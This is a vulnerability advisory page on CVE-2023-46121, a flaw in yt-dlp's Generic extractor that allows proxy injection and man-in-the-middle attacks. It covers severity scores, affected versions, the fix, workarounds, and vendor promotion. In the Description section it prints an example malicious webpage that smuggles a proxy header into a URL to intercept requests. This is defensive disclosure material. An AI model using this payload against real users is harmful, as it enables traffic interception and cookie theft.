How severe is CVE-2023-46121?

CVE-2023-46121 has a CVSS score of 5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by CVE-2023-46121?

CVE-2023-46121 affects the following packages: yt-dlp (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2023-46121?

Update yt-dlp to 2023.11.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-46121 is resolved across your whole dependency graph.

How do I detect CVE-2023-46121 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yt-dlp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2023-46121 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is CVE-2023-46121 actively exploited in the wild?

No public exploit code has been indexed for CVE-2023-46121 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2023-46121?

CVE-2023-46121 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 25th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2023-46121?

CVE-2023-46121 is classified as CWE-444 (CWE-444). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was CVE-2023-46121 published, and has it been updated?

CVE-2023-46121 was published on November 14, 2023 and was last updated on October 28, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍

🐍 PyPI

Not in CISA KEV

MEDIUM severity

CVE-2023-46121 — yt-dlp

MEDIUMFix: yt-dlp/yt-dlp@f04b5be

CVE-2023-46121 is a medium-severity (CVSS 5) CWE-444 vulnerability in yt-dlp. A fix is available for yt-dlp — see the affected versions and patch details below.

Generic Extractor MITM Vulnerability in yt-dlp

Also known asGHSA-3ch3-jhc6-5r8xPYSEC-2026-2063

Published

Nov 14, 2023

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-46121.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

🐍yt-dlp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.

To pass extra control data between extractors (such as headers like Referer), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only.

Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a Referer header sent with it, for example.

Additionally, yt-dlp has internal headers to set a proxy for a request: Ytdl-request-proxy and Ytdl-socks-proxy. While these are deprecated, internally Ytdl-request-proxy is still used for --geo-verification-proxy.

However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to set an arbitrary proxy for an arbitrary url that the Generic extractor will request.

This could allow for the following, but not limited too:

An attacker can MITM a request it asks yt-dlp to make to any website.
- If a user has loaded cookies into yt-dlp for the target site, which are not marked as secure, they could be exfiltrated by the attacker.
- Fortunately most sites are HTTPS and should be setting cookies as secure.
An attacker can set cookies for an arbitrary site.

An example malicious webpage:

<!DOCTYPE html>
<cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')

Where {{ target_site }} is the URL Generic extractor will request and {{ proxy url }} is the proxy to proxy the request for this url through.

</details>

Patches

We have removed the ability to smuggle http_headers to the Generic extractor, as well as other extractors that use the same pattern.

Workarounds

Disable Generic extractor (--ies default,-generic), or only pass trusted sites with trusted content.
Take caution when using --no-check-certificate.

References

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`yt-dlp`	≥ 2022.10.04&&< 2023.11.14	2023.11.14`pip install --upgrade 'yt-dlp==2023.11.14'`

Affected Products

1 product · 1 configurations

Application

yt-dlpyt-dlp_project

≥ 2022.10.04 && < 2023.11.14

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yt-dlp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update yt-dlp to 2023.11.14 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-46121 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. <details> To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This funct